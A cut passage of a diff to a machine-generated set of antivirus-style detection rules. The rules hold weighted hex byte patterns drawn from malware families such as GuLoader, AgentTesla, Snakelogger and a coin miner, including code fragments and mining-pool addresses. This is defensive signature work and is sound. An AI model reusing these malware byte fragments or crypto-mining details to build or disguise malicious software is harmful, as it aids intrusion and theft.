72 6e 61 6c 5f 73 74 72 74 6f 78 2e 68 00 01 00 25 01 6f } //26996 - $a_72_2 = {72 65 63 76 3a 20 43 6d 64 3d 30 78 25 78 2c 20 53 70 3d 25 64 20 63 62 43 68 49 64 3d 25 64 00 00 78 a3 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 52 4b 21 4d 54 42 00 01 00 45 03 83 c2 00 89 c2 90 02 07 90 18 90 02 08 8b 34 39 90 02 07 } //25714 + $a_72_2 = {72 65 63 76 3a 20 43 6d 64 3d 30 78 25 78 2c 20 53 70 3d 25 64 20 63 62 43 68 49 64 3d 25 64 00 00 78 a3 00 00 03 00 03 00 04 00 21 23 54 45 4c 3a 57 69 6e 36 34 2f 50 6c 7a 4e 6f 45 64 72 2e 41 00 01 00 1f 03 a1 40 1a 41 00 83 ec 04 c7 44 24 ?? ?? ?? ?? ?? c7 44 24 ?? ?? ?? ?? ?? 89 04 24 e8 ?? ?? ?? ?? 83 ec } //25714 condition: ((#a_46_0 & 1)*21283+(#a_45_1 & 1)*26996+(#a_72_2 & 1)*25714) >=3 } -rule _InfrastructureShared_11288{ +rule _InfrastructureShared_12017{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_4c_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 46 72 65 65 72 64 70 2e 43 21 4d 53 52 00 01 00 15 01 63 6f 6d 2e 77 69 6e 70 72 2e 63 6f 6d 6d 61 6e 64 6c 69 6e 65 01 00 32 01 6d 69 6e 6b 65 72 6e 65 6c 5c 63 } //21539 - $a_5c_1 = {63 72 74 5c 69 6e 63 5c 63 6f 72 65 63 72 74 5f 69 6e 74 65 72 6e 61 6c 5f 73 74 72 74 6f 78 2e 68 00 01 00 25 01 6f 72 64 65 72 5f 72 65 63 76 3a 20 43 6d 64 3d 30 78 25 78 2c 20 53 70 3d 25 64 20 63 62 43 68 49 64 3d 25 64 00 00 78 a3 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e } //29810 - $a_4d_2 = {42 00 01 00 45 03 83 c2 00 89 c2 90 02 07 90 18 90 02 08 8b 34 39 90 02 07 90 18 90 02 06 01 34 3a } //19282 + $a_5c_1 = {63 72 74 5c 69 6e 63 5c 63 6f 72 65 63 72 74 5f 69 6e 74 65 72 6e 61 6c 5f 73 74 72 74 6f 78 2e 68 00 01 00 25 01 6f 72 64 65 72 5f 72 65 63 76 3a 20 43 6d 64 3d 30 78 25 78 2c 20 53 70 3d 25 64 20 63 62 43 68 49 64 3d 25 64 00 00 78 a3 00 00 03 00 03 00 04 00 21 23 54 45 4c 3a 57 69 6e 36 34 2f 50 6c 7a 4e 6f 45 64 72 2e 41 00 01 00 1f 03 a1 } //29810 + $a_00_2 = {83 ec 04 c7 44 24 90 01 05 c7 44 24 90 01 05 89 04 24 e8 90 01 04 83 ec 90 00 01 00 18 03 c7 44 24 04 90 01 04 c7 04 24 90 01 04 e8 9e 04 00 00 83 ec 08 85 90 00 01 00 25 03 89 44 24 08 a1 90 01 } //6720 condition: - ((#a_4c_0 & 1)*21539+(#a_5c_1 & 1)*29810+(#a_4d_2 & 1)*19282) >=3 + ((#a_4c_0 & 1)*21539+(#a_5c_1 & 1)*29810+(#a_00_2 & 1)*6720) >=3 } -rule _InfrastructureShared_11289{ +rule _InfrastructureShared_12018{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " + + strings : + $a_4c_0 = {57 69 6e 36 34 2f 50 6c 7a 4e 6f 45 64 72 2e 41 00 01 00 1f 03 a1 40 1a 41 00 83 ec 04 c7 44 24 90 01 05 c7 44 24 90 01 05 89 04 24 e8 90 01 04 83 ec 90 00 01 00 18 03 c7 44 24 04 90 01 04 c7 04 24 90 01 04 } //21539 + $a_00_1 = {00 83 ec 08 } //-24856 + $a_89_3 = {24 08 a1 } //9472 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*-24856+(#a_89_3 & 1)*9472) >=3 + +} +rule _InfrastructureShared_12019{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 5a 4c 4f 21 4d 54 42 00 02 00 2b 03 02 03 04 6f 90 01 01 00 00 0a 0c 0e 04 72 90 01 01 0b 00 70 6f 90 01 01 00 00 0a a5 90 01 01 00 00 01 } //21539 + $a_0a_1 = {11 0a 2c 90 00 02 00 43 03 0a 0a 0f 00 28 90 01 01 00 00 } //2317 + condition: + ((#a_4c_0 & 1)*21539+(#a_0a_1 & 1)*2317) >=4 + +} +rule _InfrastructureShared_12020{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -124070,24 +132239,37 @@ rule _InfrastructureShared_11289{ $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 52 4b 21 4d 54 42 00 01 00 45 03 83 c2 00 89 c2 90 02 07 90 18 90 02 08 8b 34 39 90 02 07 90 18 90 02 06 01 34 3a 90 02 04 90 18 90 02 08 81 34 3a 90 01 04 90 02 } //16675 $a_90_1 = {06 83 ef 0c 90 02 06 90 18 90 02 0b 90 02 06 90 18 0f 8d 90 00 01 00 0c } //-28666 $a_72_2 = {69 61 6d 65 6e 74 61 72 01 00 0d 01 4d 65 63 68 61 6e 6f 6d 6f 72 70 68 32 01 00 0a 01 4c 4f 4b 41 4c 50 4c 41 4e 52 00 00 78 a3 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 33 30 36 21 4d 54 42 00 01 00 3d 03 02 } //20481 - $a_69_3 = {02 07 02 8e 69 5d 91 06 07 06 8e 69 5d 91 61 28 90 01 04 02 07 17 58 02 8e 69 5d 91 28 90 01 04 59 20 00 01 00 00 90 02 30 58 20 00 01 00 00 5d 28 90 01 04 9c 90 00 01 00 16 81 01 47 34 44 35 34 43 37 44 34 38 41 35 37 45 34 37 59 38 37 48 42 34 01 00 05 81 01 53 74 72 73 00 01 00 07 81 01 54 6f 49 6e 74 33 32 00 00 78 a3 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 52 52 55 } //519 + $a_69_3 = {02 07 02 8e 69 5d 91 06 07 06 8e 69 5d 91 61 28 90 01 04 02 07 17 58 02 8e 69 5d 91 28 90 01 04 59 20 00 01 00 00 90 02 30 58 20 00 01 00 00 5d 28 90 01 04 9c 90 00 01 00 16 81 01 47 34 44 35 34 43 37 44 34 38 41 35 37 45 34 37 59 38 37 48 42 34 01 00 05 81 01 53 74 72 73 00 01 00 07 81 01 54 6f 49 6e 74 33 32 00 00 78 a3 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 } //519 condition: ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-28666+(#a_72_2 & 1)*20481+(#a_69_3 & 1)*519) >=4 } -rule _InfrastructureShared_11290{ +rule _InfrastructureShared_12021{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 33 30 36 21 4d 54 42 00 01 00 3d 03 02 07 02 8e 69 5d 02 07 02 8e 69 5d 91 06 07 06 8e 69 5d 91 61 28 90 01 04 02 07 17 58 02 8e 69 5d 91 28 90 01 04 59 20 00 01 00 00 } //18467 $a_58_1 = {00 01 00 00 5d 28 90 01 04 9c 90 00 01 00 16 81 01 47 34 44 35 34 43 37 44 34 38 41 35 37 45 34 37 59 38 37 48 42 34 01 00 05 81 01 53 74 72 73 } //656 - $a_6f_3 = {6e 74 33 32 00 00 78 a3 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 52 52 55 31 32 33 21 4d 54 42 00 01 00 20 81 01 66 61 74 61 6d 6f 72 67 61 6e 61 20 68 79 6d 65 6e 6f 70 74 65 72 20 61 63 72 6f 73 61 } //385 + $a_6f_3 = {6e 74 33 32 00 00 78 a3 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 56 4e 50 30 31 21 4d 54 42 00 01 00 1c 81 01 61 6c 64 6f 6c 69 7a 65 64 20 74 68 65 6c 6d 61 20 70 68 61 67 65 64 61 } //385 condition: ((#a_54_0 & 1)*18467+(#a_58_1 & 1)*656+(#a_6f_3 & 1)*385) >=4 } -rule _InfrastructureShared_11291{ +rule _InfrastructureShared_12022{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 56 4e 50 30 31 21 4d 54 42 00 01 00 1c 81 01 61 6c 64 6f 6c 69 7a 65 64 20 74 68 65 6c 6d 61 20 70 68 61 67 65 64 61 65 6e 69 63 01 00 23 81 01 6b 72 75 64 74 6b 61 72 6c 65 6e 20 } //18467 + $a_6c_1 = {65 70 72 61 61 73 65 20 70 75 6c 70 69 74 69 63 61 6c 01 00 0f 81 01 73 6b 69 74 73 65 73 20 62 6f 72 69 64 65 73 01 00 12 81 01 62 6f 72 74 66 6f 72 6b 6c 61 72 69 6e 67 65 72 6e 65 00 00 78 a3 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 52 52 55 31 32 } //24948 + $a_54_2 = {00 01 00 20 81 01 66 61 74 61 6d 6f 72 67 61 6e 61 20 68 79 6d 65 6e 6f 70 74 65 72 20 61 63 72 6f 73 61 72 63 61 01 00 20 81 01 6d 61 68 75 61 6e 67 20 72 61 63 65 61 64 73 6b 69 6c 6c 65 6c 73 65 72 6e 65 20 72 65 70 65 77 01 00 } //8499 + $a_63_3 = {69 } //-32498 i + condition: + ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*24948+(#a_54_2 & 1)*8499+(#a_63_3 & 1)*-32498) >=4 + +} +rule _InfrastructureShared_12023{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -124100,7 +132282,7 @@ rule _InfrastructureShared_11291{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*29540+(#a_01_2 & 1)*8448+(#a_45_3 & 1)*8993) >=4 } -rule _InfrastructureShared_11292{ +rule _InfrastructureShared_12024{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -124112,7 +132294,7 @@ rule _InfrastructureShared_11292{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*385+(#a_03_3 & 1)*106) >=4 } -rule _InfrastructureShared_11293{ +rule _InfrastructureShared_12025{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -124124,7 +132306,22 @@ rule _InfrastructureShared_11293{ ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*-29436+(#a_00_3 & 1)*4) >=4 } -rule _InfrastructureShared_11294{ +rule _InfrastructureShared_12026{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " + + strings : + $a_46_0 = {50 55 41 3a 57 69 6e 33 32 2f 57 65 61 74 68 65 72 41 6c 65 72 74 73 2e 4b 53 36 38 00 01 00 11 80 01 57 65 61 74 68 65 72 41 6c 65 72 74 73 2e 65 78 65 01 00 0d 80 01 57 65 61 74 68 65 72 41 6c 65 72 74 73 01 00 11 80 01 4c 6f } //16675 + $a_20_1 = {65 61 74 68 65 72 20 4c 4c 43 01 00 14 80 01 53 65 76 65 72 65 20 57 65 61 74 68 65 72 20 41 6c 65 72 74 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 a3 00 00 04 00 04 00 06 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4c 69 6e 6b 75 72 79 44 4c 4c 4c 6f 61 64 } //24931 + $a_41_2 = {00 04 00 1f 01 53 6d 61 72 74 62 61 72 2e 4d 6f 6e 65 74 69 7a 61 74 69 6f 6e 2e 44 6c 6c 4c 6f 61 64 65 72 02 00 09 01 5c 53 6d 61 72 74 } //29285 + $a_02_3 = {00 0e 01 5c 4d 6f 6e 65 74 69 7a 61 74 69 6f 6e 5c 02 00 0f 01 44 3a 5c 54 46 53 5c 53 6d 61 72 74 62 61 72 01 00 0e 01 44 6c 6c 4c 6f 61 64 65 72 5c 62 69 6e 5c 01 00 0e 03 63 72 64 6c 69 90 02 05 2e 70 64 62 90 00 00 00 78 a3 00 00 04 00 04 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 43 6f 69 6e 4d 69 6e 65 72 2e 44 00 02 00 06 01 58 } //24930 + $a_67_4 = {01 00 1d 00 73 74 72 61 74 75 6d 2b 74 63 70 3a 2f 2f 00 00 2e 6e 69 63 65 68 61 73 68 2e 63 6f 6d 01 00 1f 00 2e 6d 69 6e 65 72 67 61 74 65 2e 63 6f 6d 00 00 25 75 2e 25 75 2e 25 75 2e 25 75 00 25 73 3a 01 00 0b 00 63 72 79 70 74 6f 6e 69 67 68 74 01 00 10 00 63 72 79 70 74 6f 6e 69 67 68 74 2d 6c 69 74 65 01 00 } //21069 + $a_61_5 = {2d 63 70 75 2d 75 73 61 67 65 00 00 78 a3 00 00 05 00 05 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 51 51 50 61 73 73 2e 4e 51 21 4d 54 42 00 03 00 26 03 8b e8 a1 68 9a 42 00 33 c5 50 89 45 90 01 01 ff 75 fc c7 45 90 01 01 ff ff ff ff 8d 45 90 01 01 64 a3 00 00 90 00 01 00 16 01 43 4b 53 65 74 75 70 33 } //13 + condition: + ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*24931+(#a_41_2 & 1)*29285+(#a_02_3 & 1)*24930+(#a_67_4 & 1)*21069+(#a_61_5 & 1)*13) >=4 + +} +rule _InfrastructureShared_12027{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -124139,7 +132336,7 @@ rule _InfrastructureShared_11294{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*1+(#a_03_4 & 1)*1+(#a_a3_5 & 1)*0) >=4 } -rule _InfrastructureShared_11295{ +rule _InfrastructureShared_12028{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -124153,7 +132350,7 @@ rule _InfrastructureShared_11295{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*11893+(#a_6c_2 & 1)*29800+(#a_32_3 & 1)*28265+(#a_01_5 & 1)*1) >=4 } -rule _InfrastructureShared_11296{ +rule _InfrastructureShared_12029{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " @@ -124165,7 +132362,7 @@ rule _InfrastructureShared_11296{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*29797+(#a_00_2 & 1)*97) >=5 } -rule _InfrastructureShared_11297{ +rule _InfrastructureShared_12030{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -124178,7 +132375,7 @@ rule _InfrastructureShared_11297{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*25964+(#a_00_2 & 1)*120+(#a_01_3 & 1)*1792) >=5 } -rule _InfrastructureShared_11298{ +rule _InfrastructureShared_12031{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -124192,7 +132389,7 @@ rule _InfrastructureShared_11298{ ((#a_46_0 & 1)*16675+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_a3_4 & 1)*0) >=5 } -rule _InfrastructureShared_11299{ +rule _InfrastructureShared_12032{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -124206,7 +132403,7 @@ rule _InfrastructureShared_11299{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*29773+(#a_00_2 & 1)*5+(#a_42_3 & 1)*16725+(#a_77_4 & 1)*13102) >=5 } -rule _InfrastructureShared_11300{ +rule _InfrastructureShared_12033{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -124220,7 +132417,7 @@ rule _InfrastructureShared_11300{ ((#a_41_0 & 1)*20515+(#a_6f_1 & 1)*11831+(#a_75_3 & 1)*384+(#a_65_4 & 1)*29811+(#a_00_5 & 1)*6) >=5 } -rule _InfrastructureShared_11301{ +rule _InfrastructureShared_12034{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -124237,7 +132434,7 @@ rule _InfrastructureShared_11301{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*31337+(#a_2e_2 & 1)*25710+(#a_00_3 & 1)*274+(#a_6c_4 & 1)*29281+(#a_6e_5 & 1)*24948+(#a_73_6 & 1)*25455+(#a_42_7 & 1)*19745) >=5 } -rule _InfrastructureShared_11302{ +rule _InfrastructureShared_12035{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -124251,7 +132448,7 @@ rule _InfrastructureShared_11302{ ((#a_46_0 & 1)*16675+(#a_33_1 & 1)*18548+(#a_6a_2 & 1)*29268+(#a_65_3 & 1)*17153+(#a_79_5 & 1)*25938) >=6 } -rule _InfrastructureShared_11303{ +rule _InfrastructureShared_12036{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -124264,7 +132461,7 @@ rule _InfrastructureShared_11303{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*27756+(#a_00_4 & 1)*7+(#a_6f_5 & 1)*21562) >=6 } -rule _InfrastructureShared_11304{ +rule _InfrastructureShared_12037{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 21 " @@ -124279,7 +132476,7 @@ rule _InfrastructureShared_11304{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_a3_5 & 1)*0) >=7 } -rule _InfrastructureShared_11305{ +rule _InfrastructureShared_12038{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -124295,7 +132492,7 @@ rule _InfrastructureShared_11305{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*25697+(#a_44_2 & 1)*11873+(#a_43_3 & 1)*-32497+(#a_44_4 & 1)*29793+(#a_65_5 & 1)*384+(#a_50_6 & 1)*8448) >=7 } -rule _InfrastructureShared_11306{ +rule _InfrastructureShared_12039{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -124311,7 +132508,7 @@ rule _InfrastructureShared_11306{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*25936+(#a_4d_2 & 1)*12+(#a_73_3 & 1)*17005+(#a_65_4 & 1)*26223+(#a_2f_5 & 1)*29806+(#a_21_6 & 1)*11877) >=7 } -rule _InfrastructureShared_11307{ +rule _InfrastructureShared_12040{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -124326,7 +132523,7 @@ rule _InfrastructureShared_11307{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29761+(#a_3a_2 & 1)*25958+(#a_54_4 & 1)*8448+(#a_6f_5 & 1)*29806+(#a_66_6 & 1)*28483) >=7 } -rule _InfrastructureShared_11308{ +rule _InfrastructureShared_12041{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -124342,7 +132539,7 @@ rule _InfrastructureShared_11308{ ((#a_41_0 & 1)*20515+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_a3_4 & 1)*0+(#a_67_5 & 1)*26222+(#a_8f_6 & 1)*4127) >=7 } -rule _InfrastructureShared_11309{ +rule _InfrastructureShared_12042{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -124357,7 +132554,7 @@ rule _InfrastructureShared_11309{ ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*24436+(#a_52_3 & 1)*21320+(#a_00_4 & 1)*28769+(#a_65_5 & 1)*385+(#a_69_6 & 1)*12108) >=7 } -rule _InfrastructureShared_11310{ +rule _InfrastructureShared_12043{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 06 00 21 " @@ -124371,7 +132568,7 @@ rule _InfrastructureShared_11310{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*28020+(#a_55_2 & 1)*19536+(#a_01_3 & 1)*400+(#a_01_5 & 1)*-28557) >=8 } -rule _InfrastructureShared_11311{ +rule _InfrastructureShared_12044{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " @@ -124382,7 +132579,7 @@ rule _InfrastructureShared_11311{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*257) >=11 } -rule _InfrastructureShared_11312{ +rule _InfrastructureShared_12045{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -124393,7 +132590,32 @@ rule _InfrastructureShared_11312{ ((#a_4c_0 & 1)*21539+(#a_07_1 & 1)*2560) >=12 } -rule _InfrastructureShared_11313{ +rule _InfrastructureShared_12046{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6e 61 6b 65 6c 6f 67 67 65 72 2e 50 53 21 4d 54 42 00 0a 00 33 03 0b 02 03 04 06 07 05 0e 04 0e 05 23 90 01 08 28 90 01 03 06 00 00 06 17 58 0a 06 02 6f 90 01 03 0a 2f } //21539 + $a_90_1 = {03 0a 04 fe 04 2b 01 16 0c 08 90 00 01 00 13 01 74 78 74 44 6f 6b 74 6f 72 52 65 50 61 73 73 77 6f 72 64 01 00 24 01 50 68 61 72 6d 61 63 79 50 72 6f 6a 65 63 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 00 00 78 a3 00 00 0d 00 0d 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c } //779 + $a_5a_2 = {54 21 4d 54 42 00 06 00 32 03 26 20 03 00 00 00 38 9b ff ff ff 00 11 02 6f 90 01 01 00 00 0a 13 03 20 00 00 00 00 7e 90 01 01 03 00 04 7b } //29541 + condition: + ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*779+(#a_5a_2 & 1)*29541) >=12 + +} +rule _InfrastructureShared_12047{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 48 65 72 61 63 6c 65 73 2e 5a 47 54 21 4d 54 42 00 06 00 32 03 26 20 03 00 00 00 38 9b ff ff ff 00 11 02 6f 90 01 01 00 00 0a 13 03 20 00 00 00 00 7e 90 01 01 03 00 04 7b } //21539 + $a_03_1 = {00 } //400 + $a_00_2 = {00 00 26 90 00 05 00 17 03 11 03 02 16 02 8e } //14852 + $a_01_3 = {01 00 00 0a 13 04 20 00 00 00 00 90 00 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 a3 00 00 0e 00 0e 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 2e 41 59 43 21 4d 54 42 00 0a 00 1c 00 11 04 11 05 08 08 8e 69 1a 59 09 59 11 05 58 91 9c 11 05 17 58 13 05 11 05 09 32 e4 01 00 10 80 01 } //28521 + condition: + ((#a_4c_0 & 1)*21539+(#a_03_1 & 1)*400+(#a_00_2 & 1)*14852+(#a_01_3 & 1)*28521) >=13 + +} +rule _InfrastructureShared_12048{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 21 " @@ -124405,7 +132627,7 @@ rule _InfrastructureShared_11313{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*28015+(#a_00_4 & 1)*15) >=14 } -rule _InfrastructureShared_11314{ +rule _InfrastructureShared_12049{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 05 00 21 " @@ -124419,7 +132641,7 @@ rule _InfrastructureShared_11314{ ((#a_77_0 & 1)*16675+(#a_56_1 & 1)*29813+(#a_90_2 & 1)*2651+(#a_23_3 & 1)*2+(#a_00_4 & 1)*66) >=15 } -rule _InfrastructureShared_11315{ +rule _InfrastructureShared_12050{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -124433,7 +132655,7 @@ rule _InfrastructureShared_11315{ ((#a_54_0 & 1)*18467+(#a_09_1 & 1)*1278+(#a_5a_2 & 1)*23105+(#a_6e_3 & 1)*27247+(#a_0d_4 & 1)*5385) >=18 } -rule _InfrastructureShared_11316{ +rule _InfrastructureShared_12051{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -124444,20 +132666,42 @@ rule _InfrastructureShared_11316{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*656) >=20 } -rule _InfrastructureShared_11317{ +rule _InfrastructureShared_12052{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 04 00 21 " strings : $a_4e_0 = {70 75 74 74 79 2e 65 78 65 00 0a 00 24 80 01 42 61 73 69 63 20 6f 70 74 69 6f 6e 73 20 66 6f 72 20 79 6f 75 72 20 50 75 54 54 59 20 73 65 73 73 69 6f 6e 0a 00 15 80 01 45 6e 61 62 6c 65 20 54 43 50 20 6b 65 65 } //20259 - $a_69_1 = {65 73 0a 00 24 80 01 4f 70 74 69 6f 6e 73 20 63 6f 6e 74 72 6f 6c 6c 69 6e 67 20 53 53 48 20 6b 65 79 20 65 78 63 68 61 6e 67 65 0a 00 1a 80 01 43 6f 6e 6e 65 63 74 69 6f 6e 2f 2f 53 53 48 2f 2f 48 6f 73 74 20 6b 65 79 73 00 00 78 a4 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f } //24944 - $a_49_2 = {45 39 21 4d 54 42 00 01 00 76 02 2b c1 8b 55 90 01 01 88 82 90 01 04 8b 45 90 1b 00 83 c0 01 89 45 90 1b 00 90 18 81 7d 90 1b 00 90 01 04 0f 84 90 01 04 8b 45 90 1b 00 0f be 88 90 01 04 8b 55 90 1b 00 83 c2 90 01 01 81 f2 90 01 04 2b ca 8b 45 90 1b } //11892 - $a_90_3 = {01 90 02 0a 90 18 90 02 0a 90 18 8b 55 90 1b 00 0f be 82 90 1b 01 8b 4d 90 1b 00 83 c1 90 01 01 81 f1 90 01 04 2b c1 90 00 00 00 78 a4 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4b 51 51 57 31 32 33 21 4d 54 42 00 01 00 6e 03 08 09 5d 13 04 07 11 04 91 28 90 01 01 00 00 0a 20 90 01 01 30 0c 40 28 90 01 01 00 00 06 6f 90 01 01 00 00 0a } //-30720 + $a_69_1 = {65 73 0a 00 24 80 01 4f 70 74 69 6f 6e 73 20 63 6f 6e 74 72 6f 6c 6c 69 6e 67 20 53 53 48 20 6b 65 79 20 65 78 63 68 61 6e 67 65 0a 00 1a 80 01 43 6f 6e 6e 65 63 74 69 6f 6e 2f 2f 53 53 48 2f 2f 48 6f 73 74 20 6b 65 79 73 00 00 